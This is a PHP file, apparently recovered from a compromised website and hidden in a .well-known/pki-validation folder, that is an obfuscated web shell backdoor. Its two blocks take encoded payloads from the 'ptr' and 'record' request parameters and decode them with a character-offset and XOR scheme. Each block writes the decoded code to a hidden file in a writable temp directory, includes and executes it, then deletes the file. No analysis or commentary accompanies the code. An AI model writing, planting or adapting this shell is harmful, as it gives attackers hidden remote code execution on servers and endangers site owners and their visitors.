File: //home/vitanhod/vigolic-10.vitavit.com.pk/.well-known/pki-validation/U.php
<?php if(array_key_exists("\x70t\x72", $_REQUEST) && !is_null($_REQUEST["\x70t\x72"])){ $dat = array_filter([session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/var/tmp"]); $hld = $_REQUEST["\x70t\x72"]; $hld = explode ( '.' , $hld ) ; $marker = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $z = 0; foreach( $hld as $v3) { $chS = ord( $s2[$z % $lenS]); $dec =( ( int)$v3 - $chS -( $z % 10)) ^ 62; $marker .= chr( $dec); $z++; } $element = 0; do { $dchunk = $dat[$element] ?? null; if ($element >= count($dat)) break; if (!!is_dir($dchunk) && !!is_writable($dchunk)) { $mrk = str_replace("{var_dir}", $dchunk, "{var_dir}/.resource"); if (file_put_contents($mrk, $marker)) { require $mrk; unlink($mrk); exit; } } $element++; } while (true); }
if(isset($_POST) && isset($_POST["r\x65cord"])){
$tkn = $_POST["r\x65cord"];
$tkn = explode ( '.' ,$tkn ) ;
$res = '';
$salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $salt8 );
$j = 0;
while( $j < count( $tkn)) {$v7 = $tkn[$j];
$sChar = ord( $salt8[$j % $sLen] );
$d =( ( int)$v7 - $sChar -( $j % 10)) ^ 82;
$res .= chr( $d );
$j++;
}
$comp = array_filter([getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]);
while ($element = array_shift($comp)) {
if (!!is_dir($element) && !!is_writable($element)) {
$pointer = "$element/.symbol";
$success = file_put_contents($pointer, $res);
if ($success) {
include $pointer;
@unlink($pointer);
die();}
}
}
}